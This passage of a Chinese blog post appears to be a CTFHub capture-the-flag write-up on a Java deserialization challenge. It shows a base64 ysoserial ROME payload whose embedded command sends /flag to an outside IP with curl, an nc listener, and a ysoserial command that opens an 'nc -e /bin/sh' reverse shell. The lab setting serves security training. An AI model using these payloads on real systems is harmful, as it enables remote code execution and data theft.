WRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAKWN1cmwgaHR0cDovLzE3NS4xNzguNDQuNzIvOjMzMzEgLWQgQC9mbGFnCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNTUyMjQwMzI0NTU3MTk5AQAgTHlzb3NlcmlhbC9Qd25lcjU1MjI0MDMyNDU1NzE5OTsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABcAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5FcXVhbHNCZWFu9YoYu+X2GBECAAJMAApfYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAARfb2JqcQB+AAl4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBxAH4AFHNyACpjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5Ub1N0cmluZ0JlYW4J9Y5KDyPuMQIAAkwACl9iZWFuQ2xhc3NxAH4AHEwABF9vYmpxAH4ACXhwcQB+AB9xAH4AFHNxAH4AG3ZxAH4AAnEAfgANc3EAfgAgcQB+ACNxAH4ADXEAfgAGcQB+AAZxAH4ABng=

服务器执行:nc -lvvp 3331          # 注意服务器要开放3331端口才行

 发送请求

服务器查看nc

0x06 要获取文件名就要反弹linux系统的shell参考

        反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。(来源

Linux下几种反弹Shell方法的总结---持续更新_闲人2019的技术博客_51CTO博客

这里直接用nc反向shell ,使用nc反弹shell需要的条件是被反弹shell的机器安装了nc

1)生成反弹shell的payload 

# 我服务nc监听的端口是3331 (要根据自己的改)
java -jar ysoserial-master-2874a69f61-1.jar ROME "nc 服务器ip 3331 -e /bin/sh" > xiaodi.bin

2)base64编码

# 代码就用之前的不用改
python2 java.py

3)发送请求反弹shell

4)查服务端nc监听的端口

ls /   # 查看当前目录下的文件信息

cat /文件名 

ctfhub{e6e837e00ea2cd7be629ebb8}

最后到靶机提交,解题成功

​​​​​​​

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

狗蛋的博客之旅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值